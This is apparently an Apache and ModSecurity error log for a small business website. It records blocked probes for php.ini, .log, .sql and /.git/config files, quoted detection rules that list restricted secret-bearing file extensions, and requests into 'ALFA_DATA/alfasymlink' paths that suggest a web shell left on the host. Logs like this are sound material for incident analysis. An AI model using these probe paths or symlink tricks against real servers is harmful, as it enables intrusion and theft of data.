[Mon Oct 26 04:32:10.122796 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 54.83.56.1:18719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/0000:00:03.0/resource4
[Mon Oct 26 04:32:14.137573 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.198.33.233:63971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:32:22.115163 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 52.204.71.8:44234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:32:30.163749 2026] [authz_core:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 04:32:30.169623 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 54.156.55.147:34275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:32:31.854297 2026] [security2:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/Norma"] [unique_id "at8QHy-E70pTpF9ObR-yzQAAAAg"]
[Mon Oct 26 04:32:31.854355 2026] [security2:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/Norma"] [unique_id "at8QHy-E70pTpF9ObR-yzQAAAAg"]
[Mon Oct 26 04:32:32.076233 2026] [authz_core:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 04:32:32.268920 2026] [authz_core:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 04:32:33.778879 2026] [security2:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/col1/index.html"] [unique_id "at8QIS-E70pTpF9ObR-y1QAAAAg"]
[Mon Oct 26 04:32:33.778944 2026] [security2:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/col1/index.html"] [unique_id "at8QIS-E70pTpF9ObR-y1QAAAAg"]
[Mon Oct 26 04:32:33.790964 2026] [authz_core:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 04:32:33.823771 2026] [authz_core:error] [pid 2988243:tid 2988243] [client 167.71.232.237:48774] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 04:32:34.133360 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 54.152.163.42:2495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:32:34.257201 2026] [security2:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_baja-california-sur_1.html"] [unique_id "at8QIh_ViEB4VmIsS1QVyQAAAAw"]
[Mon Oct 26 04:32:34.257238 2026] [security2:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_baja-california-sur_1.html"] [unique_id "at8QIh_ViEB4VmIsS1QVyQAAAAw"]
[Mon Oct 26 04:32:41.564944 2026] [security2:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8QKR_ViEB4VmIsS1QV0wAAAAw"]
[Mon Oct 26 04:32:41.565479 2026] [security2:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8QKR_ViEB4VmIsS1QV0wAAAAw"]
[Mon Oct 26 04:32:41.565847 2026] [security2:error] [pid 2995190:tid 2995190] [client 167.71.232.237:48764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8QKR_ViEB4VmIsS1QV0wAAAAw"]
[Mon Oct 26 04:32:42.134776 2026] [authz_core:error] [pid 2984261:tid 2984261] [client 167.71.232.237:48762] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Mon Oct 26 04:32:42.329600 2026] [authz_core:error] [pid 2998016:tid 2998016] [client 167.71.232.237:48782] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Mon Oct 26 04:32:42.397423 2026] [authz_core:error] [pid 3000124:tid 3000124] [client 167.71.232.237:40396] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 04:32:48.999065 2026] [authz_core:error] [pid 2988243:tid 2988243] [client 167.71.232.237:48774] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 04:32:49.031425 2026] [authz_core:error] [pid 3000124:tid 3000124] [client 167.71.232.237:40396] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 04:32:58.117432 2026] [ssl:error] [pid 3000162:tid 3000162] (70014)End of file found: [client 34.204.150.196:1691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:02.190556 2026] [ssl:error] [pid 3000162:tid 3000162] (70014)End of file found: [client 52.44.229.124:52307] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:06.724154 2026] [ssl:error] [pid 3000162:tid 3000162] (70014)End of file found: [client 18.233.24.238:41914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:10.161996 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 98.80.130.239:6940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:11.883934 2026] [security2:error] [pid 3000185:tid 3000185] [client 167.71.232.237:37042] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at8QRwDW2hE6vv9pQ57mJwAAACA"]
[Mon Oct 26 04:33:11.884529 2026] [security2:error] [pid 3000185:tid 3000185] [client 167.71.232.237:37042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at8QRwDW2hE6vv9pQ57mJwAAACA"]
[Mon Oct 26 04:33:11.884928 2026] [security2:error] [pid 3000185:tid 3000185] [client 167.71.232.237:37042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at8QRwDW2hE6vv9pQ57mJwAAACA"]
[Mon Oct 26 04:33:14.156084 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 34.206.212.24:34841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:15.951662 2026] [security2:error] [pid 2984441:tid 2984441] [client 167.71.232.237:37108] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at8QS6y4l0fHhEjHUwfMVgAAAAo"]
[Mon Oct 26 04:33:15.952049 2026] [security2:error] [pid 2984441:tid 2984441] [client 167.71.232.237:37108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at8QS6y4l0fHhEjHUwfMVgAAAAo"]
[Mon Oct 26 04:33:15.952394 2026] [security2:error] [pid 2984441:tid 2984441] [client 167.71.232.237:37108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at8QS6y4l0fHhEjHUwfMVgAAAAo"]
[Mon Oct 26 04:33:20.433196 2026] [security2:error] [pid 3000199:tid 3000199] [client 167.71.232.237:48680] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at8QUPUWD9wXUpPJA7bHEAAAACY"]
[Mon Oct 26 04:33:20.433758 2026] [security2:error] [pid 3000199:tid 3000199] [client 167.71.232.237:48680] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at8QUPUWD9wXUpPJA7bHEAAAACY"]
[Mon Oct 26 04:33:20.434115 2026] [security2:error] [pid 3000199:tid 3000199] [client 167.71.232.237:48680] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at8QUPUWD9wXUpPJA7bHEAAAACY"]
[Mon Oct 26 04:33:20.652419 2026] [security2:error] [pid 3000166:tid 3000166] [client 167.71.232.237:33108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/scrapep.php"] [unique_id "at8QPbj0dOX2XWOvWuDTaQAAABY"]
[Mon Oct 26 04:33:20.671691 2026] [security2:error] [pid 3000166:tid 3000166] [client 167.71.232.237:33108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/scrapep.php"] [unique_id "at8QPbj0dOX2XWOvWuDTaQAAABY"]
[Mon Oct 26 04:33:21.100480 2026] [security2:error] [pid 2998016:tid 2998016] [client 167.71.232.237:48690] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8QUZTlzXOy5IEnTr0lKQAAAA4"]
[Mon Oct 26 04:33:21.100983 2026] [security2:error] [pid 2998016:tid 2998016] [client 167.71.232.237:48690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8QUZTlzXOy5IEnTr0lKQAAAA4"]
[Mon Oct 26 04:33:21.101306 2026] [security2:error] [pid 2998016:tid 2998016] [client 167.71.232.237:48690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8QUZTlzXOy5IEnTr0lKQAAAA4"]
[Mon Oct 26 04:33:26.208715 2026] [core:error] [pid 2998016:tid 2998016] (13)Permission denied: [client 44.221.105.234:32486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/bind
[Mon Oct 26 04:33:45.933969 2026] [security2:error] [pid 3000162:tid 3000162] [client 107.172.76.131:52432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8QXDy3L0JVhJjEkQdGSwAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:33:45.934045 2026] [security2:error] [pid 3000162:tid 3000162] [client 107.172.76.131:52432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8QXDy3L0JVhJjEkQdGSwAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:33:46.207434 2026] [ssl:error] [pid 3000194:tid 3000194] (70014)End of file found: [client 100.25.120.246:49073] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:33:54.331645 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.84.161.62:45277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:34:03.515409 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 54.84.147.79:50635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/rescan
[Mon Oct 26 04:34:06.328728 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 52.205.141.124:1653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:34:18.218552 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 18.215.77.19:21830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:34:47.096781 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 100.29.107.38:50122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:34:54.249713 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 54.84.93.8:61411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:34:58.960297 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 185.191.171.11:26272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:35:32.961495 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 16.216.88.2:12288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/autrace
[Mon Oct 26 04:35:33.289349 2026] [security2:error] [pid 3000185:tid 3000185] [client 43.153.26.165:49308] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hosp1/"] [unique_id "at8Q1QDW2hE6vv9pQ57mLAAAACA"]
[Mon Oct 26 04:35:34.253281 2026] [core:error] [pid 3000052:tid 3000052] (13)Permission denied: [client 50.16.72.185:40682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0e/subsystem/drivers/thermal/bind
[Mon Oct 26 04:35:46.509080 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 100.28.133.214:40644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:35:50.441420 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.227.156.153:6909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:36:02.319906 2026] [core:error] [pid 3000052:tid 3000052] (13)Permission denied: [client 54.167.32.123:55355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory15/node0/cpu0/crash_notes_size
[Mon Oct 26 04:36:09.391918 2026] [security2:error] [pid 3000182:tid 3000182] [client 107.172.76.131:52437] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Q7fx_QWKZoq9_Fp9segAAAB4"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:36:09.391976 2026] [security2:error] [pid 3000182:tid 3000182] [client 107.172.76.131:52437] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Q7fx_QWKZoq9_Fp9segAAAB4"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:36:14.951145 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 23.22.59.87:58753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:36:22.450482 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 52.204.71.8:1358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/uevent
[Mon Oct 26 04:36:26.381320 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.210.155.69:61068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:36:42.384593 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.3.102.51:31596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:36:46.427151 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 3.215.59.93:35182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:36:50.225700 2026] [security2:error] [pid 2992282:tid 2992282] [client 129.121.75.86:54512] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjinotCw53EHKeT-_AAAAAI"]
[Mon Oct 26 04:36:50.225972 2026] [security2:error] [pid 2992282:tid 2992282] [client 129.121.75.86:54512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjinotCw53EHKeT-_AAAAAI"]
[Mon Oct 26 04:36:50.226292 2026] [security2:error] [pid 2992282:tid 2992282] [client 129.121.75.86:54512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjinotCw53EHKeT-_AAAAAI"]
